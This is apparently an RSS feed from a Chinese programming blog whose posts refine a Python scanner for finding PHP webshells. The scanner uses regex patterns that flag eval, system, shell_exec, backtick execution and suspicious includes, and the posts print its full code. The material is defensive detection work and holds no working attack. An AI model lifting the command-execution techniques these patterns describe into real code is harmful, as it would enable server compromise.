<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>CNXCT小组的博客</title>
	<atom:link href="http://www.cnxct.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.cnxct.com</link>
	<description>技术这个东西如同一个圆 ,刚开始的时候我们就如同站在圆心,一旦投入学习下去 ,圆就慢慢变大 ,圆的边缘以外也就会越来越大,接触的多了 知道的多了, 就会发现自己真的很无知!</description>
	<lastBuildDate>Tue, 27 Jul 2010 09:07:18 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>如何精确查找PHP WEBSHELL木马？</title>
		<link>http://www.cnxct.com/%e5%a6%82%e4%bd%95%e7%b2%be%e7%a1%ae%e6%9f%a5%e6%89%bephp-webshell%e6%9c%a8%e9%a9%ac%ef%bc%9f/</link>
		<comments>http://www.cnxct.com/%e5%a6%82%e4%bd%95%e7%b2%be%e7%a1%ae%e6%9f%a5%e6%89%bephp-webshell%e6%9c%a8%e9%a9%ac%ef%bc%9f/#comments</comments>
		<pubDate>Tue, 27 Jul 2010 08:18:24 +0000</pubDate>
		<dc:creator>CFC4N</dc:creator>
				<category><![CDATA[所谓技术]]></category>
		<category><![CDATA[php webshell]]></category>
		<category><![CDATA[PHP木马]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[零宽断言]]></category>

		<guid isPermaLink="false">http://www.cnxct.com/%e5%a6%82%e4%bd%95%e7%b2%be%e7%a1%ae%e6%9f%a5%e6%89%bephp-webshell%e6%9c%a8%e9%a9%ac%ef%bc%9f/</guid>
		<description><![CDATA[<a href="http://www.cnxct.com/wp-content/uploads/2010/07/fengye.jpg"><img class="alignleft sided inline" title="代码如诗" src="http://www.cnxct.com/wp-content/uploads/2010/07/fengye-150x150.jpg" alt="" width="150" height="150" /></a>上篇提到了关于网上流传查找PHP webshell的python脚本中，不严谨的代码并且给出了一个python的检测代码，同时，下文里也提到不能检测到反引号的命令执行的地方。今天，我想了下，现在把思路发出来。正则表达式该如何写？
分析：对于可移植性的部分共同点是什么？与其他正常的包含反引号的部分，区别是什么？
他们前面可以有空格，tab键等空白字符。也可以有程序代码，前提是如果有引号（单双）必须是闭合的。才是危险有隐患的。遂CFC4N给出的正则如下：【(?:(?:^(?:\s+)?)&#124;(?:(?P&#60;quote&#62;["'])[^(?P=quote)]+?(?P=quote)[^`]*?))`(?P&#60;shell&#62;[^`]+)`】。]]></description>
			<content:encoded><![CDATA[<p>上篇提到了<a title="编辑 “关于网上流传查找PHP webshell的python脚本中，不严谨的代码”" href="http://www.cnxct.com/%e5%85%b3%e4%ba%8e%e7%bd%91%e4%b8%8a%e6%b5%81%e4%bc%a0%e6%9f%a5%e6%89%bephp-webshell%e8%84%9a%e6%9c%ac%e4%b8%ad%ef%bc%8c%e4%b8%8d%e4%b8%a5%e8%b0%a8%e7%9a%84%e4%bb%a3%e7%a0%81/">关于网上流传查找PHP webshell的python脚本中，不严谨的代码</a>，并且给出了一个python的检测代码，同时，下文里也提到不能检测到反引号的命令执行的地方。今天，我想了下，现在把思路发出来。</p>
<p>先来看下反引号可以成功执行命名的代码片段。代码如下：</p>
<pre class="brush: php;">
	`ls -al`;
`ls -al`;
echo &quot;sss&quot;; `ls -al`;

 $sql = &quot;SELECT `username` FROM `table` WHERE 1&quot;;

    $sql = 'SELECT `username` FROM `table` WHERE 1'
/*
无非是 前面有空白字符，或者在一行代码的结束之后，后面接着写，下面两行为意外情况，也就是SQL命令里的反引号，要排除的就是它。
*/
</pre>
<p><strong>正则表达式该如何写？</strong><br />
<strong>分析：</strong><br />
对于可移植性的部分共同点是什么？与其他正常的包含反引号的部分，区别是什么？<br />
他们前面可以有空格，tab键等空白字符。也可以有程序代码，前提是如果有引号（单双）必须是闭合的。才是危险有隐患的。遂CFC4N给出的正则如下：【(?:(?:^(?:\s+)?)|(?:(?P&lt;quote&gt;["'])[^(?P=quote)]+?(?P=quote)[^`]*?))`(?P&lt;shell&gt;[^`]+)`】。</p>
<p>解释一下：</p>
<p>【(?:(?:^(?:\s+)?)|(?:(?P&lt;quote&gt;["'])[^(?P=quote)]+?(?P=quote)[^`]*?))】匹配开始位置或者开始位置之后有空白字符或者前面有代码，且代码有闭合的单双引号。（这段PYTHON的正则中用了捕获命名以及反向引用）</p>
<p>【`(?P&lt;shell&gt;[^`]+)`】这个就比较简单了，匹配反引号中间的字符串。</p>
<div id="attachment_588" class="wp-caption aligncenter" style="width: 160px"><a href="http://www.cnxct.com/wp-content/uploads/2010/07/check_php_shell_with_python1.jpg" rel="lightbox[587]"><img class="size-thumbnail wp-image-588" title="python脚本检测PHP WEBSHELL" src="http://www.cnxct.com/wp-content/uploads/2010/07/check_php_shell_with_python1-150x150.jpg" alt="" width="150" height="150" /></a><p class="wp-caption-text">python脚本检测PHP WEBSHELL</p></div>
<p>然后我将这段代码写入程序中，测试跑了一下discuz的程序。结果有一个误报。误报的位置为“config.inc.php”中的“define(&#8216;UC_DBTABLEPRE&#8217;, &#8216;`ucenter`.uc_&#8217;);”，什么原因造成的？这行代码符合了前面有闭合的引号，也有反引号的使用，所以，符合要求，被检测到了。如何再排除这种情况呢？这个有什么特殊的？前面有逗号“,”？如果是字符串连接的点号“.”呢？再排除逗号？</p>
<p>好吧，我错了，我不该用我的思维来误导你。换个思路。找下反引号可执行的代码的前面字符串的情况，他们只能是行的开始，或者有空白字符（包括空格，tab键等），再前面也可以有代码的结束标识分号“;”，其他的情况，都是不可以执行的吧？嗯，应该是这样。（如有错误，欢迎斧正）既然思路有了，那正则代码更好写了。如下【(^|(?&lt;=;))\s*`[^`]+`】，解释一下，【(^|(?&lt;=;))】匹配位置，是行的开始，或者前面有分号“;”。【\s*`[^`]+`】空白字符任一个，然后是&#8230;.(你懂的)。OK，写好之后，检测，又发现一个问题。</p>
<div id="attachment_589" class="wp-caption aligncenter" style="width: 160px"><a href="http://www.cnxct.com/wp-content/uploads/2010/07/check_php_shell_with_python2.jpg" rel="lightbox[587]"><img class="size-thumbnail wp-image-589" title="python脚本检测PHP WEBSHELL" src="http://www.cnxct.com/wp-content/uploads/2010/07/check_php_shell_with_python2-150x150.jpg" alt="" width="150" height="150" /></a><p class="wp-caption-text">python脚本检测PHP WEBSHELL</p></div>
<p>匹配引入文件的正则也匹配了“require_once &#8216;./include/db_&#8217;.$database.&#8217;.class.php&#8217;;”这种代码，什么原因造成的，您自己分析吧。</p>
<p>给出修复之后的python代码，如下：</p>
<pre class="brush: python;">
#!/usr/bin/python
#-*- encoding:UTF-8 -*-
###
## @package
##
## @author      CFC4N   &lt;cfc4nphp@gmail.com&gt;
## @copyright   copyright (c) Www.cnxct.Com
## @Version     $Id: check_php_shell.py 37 2010-07-22 09:56:28Z cfc4n $
###
import os
import sys
import re
import time
def listdir(dirs,liston='0'):
	flog = open(os.getcwd()+&quot;/check_php_shell.log&quot;,&quot;a+&quot;)
	if not os.path.isdir(dirs):
		print &quot;directory %s is not exist&quot;% (dirs)
		return
	lists = os.listdir(dirs)
	for list in lists:
		filepath = os.path.join(dirs,list)
		if os.path.isdir(filepath):
			if liston == '1':
				listdir(filepath,'1')
		elif os.path.isfile(filepath):
			filename = os.path.basename(filepath)
			if re.search(r&quot;\.(?:php|inc|html?)$&quot;, filename, re.IGNORECASE):
				i = 0
				iname = 0
				f = open(filepath)
				while f:
					file_contents = f.readline()
					if not file_contents:
						break
					i += 1
					match = re.search(r'''(?P&lt;function&gt;\b(?:include|require)(?:_once)?\b)\s*\(?\s*[&quot;'](?P&lt;filename&gt;[^;]*(?&lt;!\.(?:php|inc)))[&quot;']\)?\s*;''', file_contents, re.IGNORECASE| re.MULTILINE)
					if match:
						function = match.group(&quot;function&quot;)
						filename = match.group(&quot;filename&quot;)
						if iname == 0:
							info = '\n[%s] :\n'% (filepath)
						else:
							info = ''
						info += '\t|-- [%s] - [%s]  line [%d] \n'% (function,filename,i)
						flog.write(info)
						print info
						iname += 1
					match = re.search(r'\b(?P&lt;function&gt;eval|proc_open|popen|shell_exec|exec|passthru|system)\b\s*\(', file_contents, re.IGNORECASE| re.MULTILINE)
					if match:
						function = match.group(&quot;function&quot;)
						if iname == 0:
							info = '\n[%s] :\n'% (filepath)
						else:
							info = ''
						info += '\t|-- [%s]  line [%d] \n'% (function,i)
						flog.write(info)
						print info
						iname += 1
					match = re.search(r'(^|(?&lt;=;))\s*`(?P&lt;shell&gt;[^`]+)`\s*;', file_contents, re.IGNORECASE)
					if match:
						shell = match.group(&quot;shell&quot;)
						if iname == 0:
							info = '\n[%s] :\n'% (filepath)
						else:
							info = ''
						info += '\t|-- [``] command is [%s] in line [%d] \n'% (shell,i)
						flog.write(info)
						print info
						iname += 1
				f.close()
	flog.close()
if '__main__' == __name__:
	argvnum = len(sys.argv)
	liston = '0'
	if argvnum == 1:
		action = os.path.basename(sys.argv[0])
		print &quot;Command is like:\n	%s D:\wwwroot\ \n	%s D:\wwwroot\ 1	-- recurse subfolders&quot;% (action,action)
		quit()
	elif argvnum == 2:
		path = os.path.realpath(sys.argv[1])
		listdir(path,liston)
	else:
		liston = sys.argv[2]
		path = os.path.realpath(sys.argv[1])
		listdir(path,liston)
	flog = open(os.getcwd()+&quot;/check_php_shell.log&quot;,&quot;a+&quot;)
	ISOTIMEFORMAT='%Y-%m-%d %X'
	now_time = time.strftime(ISOTIMEFORMAT,time.localtime())
	flog.write(&quot;\n----------------------%s checked ---------------------\n&quot;% (now_time))
	flog.close()
</pre>
<p><strong> 稍微检测了一下Discuz7.2的代码，还是有误报的，误报的为这种包含sql的代码：</strong></p>
<pre class="brush: php;">
$query = $db-&gt;query(&quot;SELECT `status`,`threads`,`posts`
		FROM `{$tablepre}forums` WHERE
		`status`='1';
		&quot;);
</pre>
<p>由于这个脚本是按照一行一行的代码来处理的，所以，有这种误报。您自己去修复吧。相对网上流传的脚本来说，还是比较准确的。<br />
欢迎转载。代码不用留版权。（已经修复，增加了反引号后面【\s*;】的判断。2010-07-27 17:06）</p>
<p>PS：如果说上传文件也算是危险的、值得注意的操作的话，建议加上move_uploaded_file函数的检测。你知道在哪里加的。^_^</p>
]]></content:encoded>
			<wfw:commentRss>http://www.cnxct.com/%e5%a6%82%e4%bd%95%e7%b2%be%e7%a1%ae%e6%9f%a5%e6%89%bephp-webshell%e6%9c%a8%e9%a9%ac%ef%bc%9f/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>关于网上流传查找PHP webshell的python脚本中，不严谨的代码</title>
		<link>http://www.cnxct.com/%e5%85%b3%e4%ba%8e%e7%bd%91%e4%b8%8a%e6%b5%81%e4%bc%a0%e6%9f%a5%e6%89%bephp-webshell%e8%84%9a%e6%9c%ac%e4%b8%ad%ef%bc%8c%e4%b8%8d%e4%b8%a5%e8%b0%a8%e7%9a%84%e4%bb%a3%e7%a0%81/</link>
		<comments>http://www.cnxct.com/%e5%85%b3%e4%ba%8e%e7%bd%91%e4%b8%8a%e6%b5%81%e4%bc%a0%e6%9f%a5%e6%89%bephp-webshell%e8%84%9a%e6%9c%ac%e4%b8%ad%ef%bc%8c%e4%b8%8d%e4%b8%a5%e8%b0%a8%e7%9a%84%e4%bb%a3%e7%a0%81/#comments</comments>
		<pubDate>Mon, 26 Jul 2010 15:19:32 +0000</pubDate>
		<dc:creator>CFC4N</dc:creator>
				<category><![CDATA[所谓技术]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[webshell]]></category>
		<category><![CDATA[正则表达式]]></category>

		<guid isPermaLink="false">http://www.cnxct.com/?p=576</guid>
		<description><![CDATA[<a href="http://www.cnxct.com/wp-content/uploads/2010/07/nihao_xiatian.jpg"><img class="alignleft sided inline" title="你好，夏天。" src="http://www.cnxct.com/wp-content/uploads/2010/07/nihao_xiatian-150x150.jpg" alt="" width="150" height="150" /></a>不是闲着蛋疼，也不是批评谁，只是不忍心看到不严谨的代码在网上被疯传，误导初学者。以下引用的代码以及思路来自网络，只针对代码，不针对人。如有雷同，纯属巧合。
来自某大牛python版本的检测服务器上PHP代码中webshell的脚本代码片段如下：
findtype=['.php'，'.inc'] #要检查的文件后缀类型
keywords=[ ["eval\(\$\_POST","发现PHP一句话木马！"], ["(system&#124;shell_exec&#124;exec&#124;popen)","发现PHP命令执行函数!"]]
然后，接着是python处理上面列表（数组），把每个列表的第一个元素作为正则表达式内容，然后进行匹配处理的。先看第一个检测“PHP一句话木马”的这个正则。【eval\(\$\_POST】这里转义了字符【_】，字符“_”不是元字符，不需要转义的，其实，转义也无妨，聪明的正则表达式引擎会识别修正的。来说下这个思路的遗漏之处。这里仅仅匹配字符串“eval(”后面的变量“$_POST”，如果是“$_GET”呢？如果是“$_REQUEST”呢？如果程序先把$_POST/$_GET/$REQUEST的key的变量先赋值给一个自定义的变量名，然后在用PHP的“eval”函数执行这个变量呢？是不是就查找不到了？其实，并不需要知道“eval”函数执行的变量名是什么，只要查找“eval(”即可，当然，还要注意“eval”函数后面可以有空格，tab键之类空白字符。上面的代码片段中，也没考虑到这一点。]]></description>
			<content:encoded><![CDATA[<p>不是闲着蛋疼，也不是批评谁，只是不忍心看到不严谨的代码在网上被疯传，误导初学者。以下引用的代码以及思路来自网络，只针对代码，不针对人。如有雷同，纯属巧合。</p>
<p>来自某大牛python版本的检测服务器上PHP代码中webshell的脚本代码片段如下：</p>
<pre class="brush: python;">
findtype=['.php'，'.inc'] #要检查的文件后缀类型
keywords=[ [&quot;eval\(\$\_POST&quot;,&quot;发现PHP一句话木马！&quot;], [&quot;(system|shell_exec|exec|popen)&quot;,&quot;发现PHP命令执行函数!&quot;]]
</pre>
<p>然后，接着是python处理上面列表（数组），把每个列表的第一个元素作为正则表达式内容，然后进行匹配处理的。先看第一个检测“PHP一句话木马”的这个正则。【eval\(\$\_POST】这里转义了字符【_】，字符“_”不是元字符，不需要转义的，其实，转义也无妨，聪明的正则表达式引擎会识别修正的。来说下这个思路的遗漏之处。这里仅仅匹配字符串“eval(”后面的变量“$_POST”，如果是“$_GET”呢？如果是“$_REQUEST”呢？如果程序先把$_POST/$_GET/$REQUEST的key的变量先赋值给一个自定义的变量名，然后在用PHP的“eval”函数执行这个变量呢？是不是就查找不到了？其实，并不需要知道“eval”函数执行的变量名是什么，只要查找“eval(”即可，当然，还要注意“eval”函数后面可以有空格，tab键之类空白字符。上面的代码片段中，也没考虑到这一点。</p>
<div id="attachment_578" class="wp-caption aligncenter" style="width: 160px"><a href="http://www.cnxct.com/wp-content/uploads/2010/07/check_php_webshell_python1.jpg" rel="lightbox[576]"><img class="size-thumbnail wp-image-578" title="某检测PHP webshell的python脚本考虑欠佳。" src="http://www.cnxct.com/wp-content/uploads/2010/07/check_php_webshell_python1-150x150.jpg" alt="" width="150" height="150" /></a><p class="wp-caption-text">某检测PHP webshell的python脚本考虑欠佳。</p></div>
<p>再看看下一个列表的第一个元素。【(system|shell_exec|exec|popen)】，这个正则的意思是只要字符串里包含<strong>“system”、“shell_exec”、“exec”、“popen”</strong>这四组字符串即判定为危险字符。很明显，这个方法太不严谨。如果程序员写的代码中，包含了这四组字符，即可被判定为危险函数。很不准确，误报率极高。见下图</p>
<div id="attachment_579" class="wp-caption aligncenter" style="width: 160px"><a href="http://www.cnxct.com/wp-content/uploads/2010/07/check_php_webshell_python2.jpg" rel="lightbox[576]"><img class="size-thumbnail wp-image-579" title="某检测PHP webshell的python脚本考虑欠佳。" src="http://www.cnxct.com/wp-content/uploads/2010/07/check_php_webshell_python2-150x150.jpg" alt="" width="150" height="150" /></a><p class="wp-caption-text">某检测PHP webshell的python脚本考虑欠佳。</p></div>
<p><strong>到底什么样的代码是可疑的代码？关键词是什么？</strong></p>
<p>可疑的代码肯定是由可以执行危险操作的函数构成，可以执行危险操作的PHP函数最重要的就是“eval”函数了，对于加密的PHP代码（仅变形字符串，<strong>非zend等方式加密</strong>），肯定要用到“eval”函数，所以，对于不管是用哪种加密方法的代码，肯定要用到“eval”函数。其次就是可以执行系统命令的函数了，比如上面某牛的代码中提到的四个“system”、“shell_exec”、“exec”、“popen”。当然还有其他的，比如passthru等。PHP还支持“·”字符（ESC键下面那个）直接执行系统命令。我们可以把正则写成这样【\b(?P&lt;function&gt;eval|proc_open|popen|shell_exec|exec|passthru|system)\b\s*\(】。</p>
<div id="attachment_580" class="wp-caption aligncenter" style="width: 160px"><a href="http://www.cnxct.com/wp-content/uploads/2010/07/check_php_webshell_python3.jpg" rel="lightbox[576]"><img class="size-thumbnail wp-image-580" title="检测PHP webshell的python脚本相对较为严谨的匹配" src="http://www.cnxct.com/wp-content/uploads/2010/07/check_php_webshell_python3-150x150.jpg" alt="" width="150" height="150" /></a><p class="wp-caption-text">检测PHP webshell的python脚本相对较为严谨的匹配</p></div>
<p><strong>解释一下：</strong></p>
<p>大家都知道【\b\b】用来匹配单词两边的位置的。要保证【\b\b】中间的是单词，即使函数名前面加特殊字符，也一样通过匹配，比如加@来屏蔽错误。后面的【\s*】用来匹配空白字符的，包括空格，tab键，次数为0到无数次。前面的【(?P)】是捕获命名组。用来当作python代码直接引用匹配结果的key。</p>
<p>还有的网友提到了，如果我把代码放到图片拓展名的文件里呢？那你只检测.php，.inc的文件，还是找不到我的呀。嗯，是的，如果恶意代码在gif、jpg、png、aaa等乱七八糟的拓展名文件里，是不能被apache、IIS等web Services解析的，必须通过include/require(_once)来引入。那么，我们只要匹配include/require(_once)后面的文件名是不是常规的“.php”、“.inc”文件。如果不是，则为可疑文件。正则如下【(?P&lt;function&gt;\b(?:include|require)(?:_once)?\b)\s*\(?\s*["'](?P&lt;filename&gt;.*?(?&lt;!\.(?:php|inc)))["']】。</p>
<div id="attachment_581" class="wp-caption aligncenter" style="width: 160px"><a href="http://www.cnxct.com/wp-content/uploads/2010/07/check_php_webshell_python4.jpg" rel="lightbox[576]"><img class="size-thumbnail wp-image-581" title="检测PHP WEBSHELL的python脚本较为严谨做法" src="http://www.cnxct.com/wp-content/uploads/2010/07/check_php_webshell_python4-150x150.jpg" alt="" width="150" height="150" /></a><p class="wp-caption-text">检测PHP WEBSHELL的python脚本较为严谨做法</p></div>
<p><strong>解释一下：</strong></p>
<p>先看【(?P&lt;function&gt;\b(?:include|require)(?:_once)?\b)】，【(?P&lt;name&gt;)】为正则表达式的“命名捕获”，PHP中有同样的用法。也就是说，在这括号内的捕获的数据，会分配到结果数组的key为“name”的value中。再看里面的【\b(?:include|require)(?:_once)?\b】,【\b\b】不解释了，为单词边界位置。里面的【(?:include|require)】匹配字符串“include”、“require”两个单词，其中前面的【(?:)】未不分配组，用于提高效率，可以去掉【?:】变成【(include|require)】。在后面一个【(?:_once)】也是做不分配组的操作，便于<a title="提高正则表达式效率" href="http://www.cnxct.com/php%e6%ad%a3%e5%88%99%e8%a1%a8%e8%be%be%e5%bc%8f%e7%9a%84%e6%95%88%e7%8e%87%ef%bc%9a%e5%9b%9e%e6%ba%af%e4%b8%8e%e5%9b%ba%e5%8c%96%e5%88%86%e7%bb%84/" target="_blank">提高正则表达式效率</a>。同样，后面的量词是“?”代表这个组可有可无。就满足了“include”、“include_once”、“require”、“require_once”四种情况。有的朋友可能这样写【(include|include_once|require|require_once)】也能实现目的。但是，为了更搞的效率，我们对这个正则做优化，针对部分字符串做分支更改，改成上面那个【\b(?:include|require)(?:_once)?\b】。</p>
<p>再看下面的【\s*\(?\s*["'](?P&lt;filename&gt;.+?(?&lt;!\.(?:php|inc)))["']】中，【\s*】匹配空白字符，包括空格，tab键等。后面的【\(?】，匹配字符“(”，后面的量词“?”表示这半个小酷括号可有可无。防止“incude &#8220;123.php&#8221;”这种没有括号的情况。再后面【["']】匹配双引号，单引号的。最后的也是。再看看这个【(?P&lt;filename&gt;.+?(?&lt;!\.(?:php|inc)))】，其中【(?P&lt;filename&gt;)】上面介绍了，为命名捕获，把结果放到match.group(&#8220;filename&#8221;)里。【.*?】为任意字符，后面的量词是“忽略优先量词”，也就是平常说的“非贪婪”。这里最少匹配零个，（防止.aa、.htaccess这种没有文件名，只有文件拓展名的文件被引入）。后面的【(?&lt;!\.(?:php|inc))】，这里用到了反向零宽断言（环视）的非操作（只匹配位置，不匹配字符串，跟【^$\b】等一样）。这个表达式是针对这个位置的后面字符起作用的，也就是说后面的【["']】的前面不能是“.php”、“.inc”，这里也就是取了文件名的最后的拓展名。（正则里，可以用【^】对字符取非，但是不能对“字符串组”取非，这里用了零宽断言来实现。）</p>
<p>综上所述，最后，鄙人给出的python代码如下：</p>
<pre class="brush: python;">
#!/usr/bin/python
#-*- encoding:UTF-8 -*-
###
## @package
##
## @author      CFC4N   &lt;cfc4nphp@gmail.com&gt;
## @copyright   copyright (c) Www.cnxct.Com
## @Version     $Id: check_php_shell.py 37 2010-07-22 09:56:28Z cfc4n $
###
import os
import sys
import re
import time
def listdir(dirs,liston='0'):
	flog = open(os.getcwd()+&quot;/check_php_shell.log&quot;,&quot;a+&quot;)
	if not os.path.isdir(dirs):
		print &quot;directory %s is not exist&quot;% (dirs)
		return
	lists = os.listdir(dirs)
	for list in lists:
		filepath = os.path.join(dirs,list)
		if os.path.isdir(filepath):
			if liston == '1':
				listdir(filepath,'1')
		elif os.path.isfile(filepath):
			filename = os.path.basename(filepath)
			if re.search(r&quot;\.(?:php|inc|html?)$&quot;, filename, re.IGNORECASE):
				i = 0
				iname = 0
				f = open(filepath)
				while f:
					file_contents = f.readline()
					if not file_contents:
						break
					i += 1
					match = re.search(r'''(?P&lt;function&gt;\b(?:include|require)(?:_once)?\b)\s*\(?\s*[&quot;'](?P&lt;filename&gt;.*?(?&lt;!\.(?:php|inc)))[&quot;']''', file_contents, re.IGNORECASE| re.MULTILINE)
					if match:
						function = match.group(&quot;function&quot;)
						filename = match.group(&quot;filename&quot;)
						if iname == 0:
							info = '\n[%s] :\n'% (filepath)
						else:
							info = ''
						info += '\t|-- [%s] - [%s]  line [%d] \n'% (function,filename,i)
						flog.write(info)
						print info
						iname += 1
					match = re.search(r'\b(?P&lt;function&gt;eval|proc_open|popen|shell_exec|exec|passthru|system)\b\s*\(', file_contents, re.IGNORECASE| re.MULTILINE)
					if match:
						function = match.group(&quot;function&quot;)
						if iname == 0:
							info = '\n[%s] :\n'% (filepath)
						else:
							info = ''
						info += '\t|-- [%s]  line [%d] \n'% (function,i)
						flog.write(info)
						print info
						iname += 1
				f.close()
	flog.close()
if '__main__' == __name__:
	argvnum = len(sys.argv)
	liston = '0'
	if argvnum == 1:
		action = os.path.basename(sys.argv[0])
		print &quot;Command is like:\n	%s D:\wwwroot\ \n	%s D:\wwwroot\ 1	-- recurse subfolders&quot;% (action,action)
		quit()
	elif argvnum == 2:
		path = os.path.realpath(sys.argv[1])
		listdir(path,liston)
	else:
		liston = sys.argv[2]
		path = os.path.realpath(sys.argv[1])
		listdir(path,liston)
	flog = open(os.getcwd()+&quot;/check_php_shell.log&quot;,&quot;a+&quot;)
	ISOTIMEFORMAT='%Y-%m-%d %X'
	now_time = time.strftime(ISOTIMEFORMAT,time.localtime())
	flog.write(&quot;\n----------------------%s checked ---------------------\n&quot;% (now_time))
	flog.close()
</pre>
<p>仅供参考，欢迎斧正。</p>
<p>下面截图为扫描Discuz7.2的效果图，当然，也有误报。相对网上流传的python脚本，误报更少，更精确了。</p>
<div id="attachment_583" class="wp-caption aligncenter" style="width: 160px"><a href="http://www.cnxct.com/wp-content/uploads/2010/07/jiancejieguo.jpg" rel="lightbox[576]"><img class="size-thumbnail wp-image-583" title="检测PHP WEBSHELL的python脚本的检测结果" src="http://www.cnxct.com/wp-content/uploads/2010/07/jiancejieguo-150x150.jpg" alt="" width="150" height="150" /></a><p class="wp-caption-text">检测PHP WEBSHELL的python脚本的检测结果</p></div>
<p>问：这个方法完美了吗？可以查找目前已知的所有危险函数文件了吗？<br />
答：不能，如果include等引入的文件没有拓展名，这里就匹配不到了。<br />
问：如何解决？<br />
答：留给你解决，聪明的你，肯定可以搞定。<br />
PS：“`”反引号 执行命令的还没写，暂时没好的办法。容易跟SQL语句中的反引号混淆。不太好匹配。如果光匹配反引号就提示的话，那误报太大了。待定吧。（术业有专攻，请勿因为一处不好的代码，否定一个人的能力。你懂的。再次重申，此文只针对代码，不针对人。其次，鄙人给出的python代码随便复制，随便传播，爱留版权就留版权，不爱留就删了相关字符，也就是您爱干吗干吗。）<br />
我先休息一会，明天再说。（前半句为三国杀曹仁的台词，哈。）</p>
]]></content:encoded>
			<wfw:commentRss>http://www.cnxct.com/%e5%85%b3%e4%ba%8e%e7%bd%91%e4%b8%8a%e6%b5%81%e4%bc%a0%e6%9f%a5%e6%89%bephp-webshell%e8%84%9a%e6%9c%ac%e4%b8%ad%ef%bc%8c%e4%b8%8d%e4%b8%a5%e8%b0%a8%e7%9a%84%e4%bb%a3%e7%a0%81/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>snoopy.class.php中_striplink方法的正则分析</title>
		<link>http://www.cnxct.com/snoopy-class-php%e4%b8%ad_striplink%e6%96%b9%e6%b3%95%e7%9a%84%e6%ad%a3%e5%88%99%e5%88%86%e6%9e%90/</link>
		<comments>http://www.cnxct.com/snoopy-class-php%e4%b8%ad_striplink%e6%96%b9%e6%b3%95%e7%9a%84%e6%ad%a3%e5%88%99%e5%88%86%e6%9e%90/#comments</comments>
		<pubDate>Sun, 25 Jul 2010 08:13:42 +0000</pubDate>
		<dc:creator>CFC4N</dc:creator>
				<category><![CDATA[所谓技术]]></category>
		<category><![CDATA[生活]]></category>
		<category><![CDATA[snoopy]]></category>
		<category><![CDATA[显卡]]></category>
		<category><![CDATA[正则表达式]]></category>
		<category><![CDATA[老爷机]]></category>

		<guid isPermaLink="false">http://www.cnxct.com/?p=572</guid>
		<description><![CDATA[<a href="http://www.cnxct.com/wp-content/uploads/2010/07/123.jpg"><img class="alignleft sided inline" title="PHP 正则表达式 条件判断 表达式" src="http://www.cnxct.com/wp-content/uploads/2010/07/123-150x150.jpg" alt="" width="150" height="150" /></a>对于已经习惯8点左右起床上班的我来说，生物钟在早上8点左右，准时醒，有时候想赖床，但也无法再次入睡。起床洗漱，打开电脑，玩了两局web的三国杀，逛逛论坛，觉得饿了，才去煮点面条吃。回来继续，无意中打开PPC，看到一位网友“落叶人生”同学的帖子问一个正则问题，纠结了一下是否解释一下，以便给对方释疑解惑，也加固自己的知识。犹豫半天，觉得还是写下吧。下面正题：

PPC链接http://bbs.phpchina.com/thread-189797-1-1.html

preg_match_all("'<\s*a\s.*?href\s*=\s*([\"\'])?(?(1)(.*?)\\1&#124;([^\s\>]+))[^>]*>?(.*?)</a>'isx",$document,$links);
对于一般的规范链　接能很好的使用，但不知道为什么对href=后面的网址不含引号的情况无法提取成功，哪个朋友帮分析下？谢谢！

其实，我没明白他的意思是想提取链接地址href后面的内容的，还是提取整个标签a中间的所有。

在下面的回帖中，他提到了这个正则来自snoopy.class.php的_striplink方法中的正则，遂到sf.net上下载一份原版到本地。]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.cnxct.com/%e5%91%a8%e6%9c%ab%e8%ae%b0%e4%ba%8b-%e8%bf%98%e6%98%af%e6%88%91%e7%9a%84%e8%80%81%e7%88%b7%e6%9c%ba/">上周提到老爷机坏</a>了，昨天早上早早的抱去修理，维修工程师更换硬件排除法最后得知，故障出现在显卡，插入显卡，主板灯亮，按开关，没反映，或者CPU风扇抖动一下即停止。卸下显卡，开机正常。这位维修人员的结论是显卡坏了，建议更换显卡。我们有N卡9200，只要320元。我提出把显卡放到别的主机上试试，被拒绝了，好吧，那我也拒绝。最后，对方收我20元检测费。虽然我心里有点不情愿，他只是换了几个零件的简单排除法得出很有可能的结论而已，并没有告诉我准确的病因，是显卡的哪里出问题了？能否维修？他都没有告诉我。尽管这样，我还是给了，也没争论。</p>
